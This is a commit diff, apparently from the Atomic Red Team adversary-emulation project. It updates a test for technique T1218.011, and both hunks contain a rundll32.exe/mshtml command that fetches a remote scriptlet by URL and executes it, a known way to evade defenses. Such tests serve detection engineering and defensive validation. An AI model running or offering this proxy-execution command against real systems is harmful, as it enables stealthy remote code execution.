Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
@@ -253,8 +253,7 @@ defense-evasion:
|
||||
type: Url
|
||||
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct
|
||||
executor:
|
||||
command: 'start /b rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
|
||||
";document.write();GetObject("script:#{file_url}").Exec();
|
||||
command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();
|
||||
|
||||
'
|
||||
cleanup_command: 'taskkill /IM notepad.exe /f
|
||||
|
||||
@@ -61,7 +61,7 @@ Test execution of a remote script using rundll32.exe. Upon execution notepad.exe
|
||||
|
||||
|
||||
```cmd
|
||||
start /b rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
|
||||
Reference in New Issue
Block a user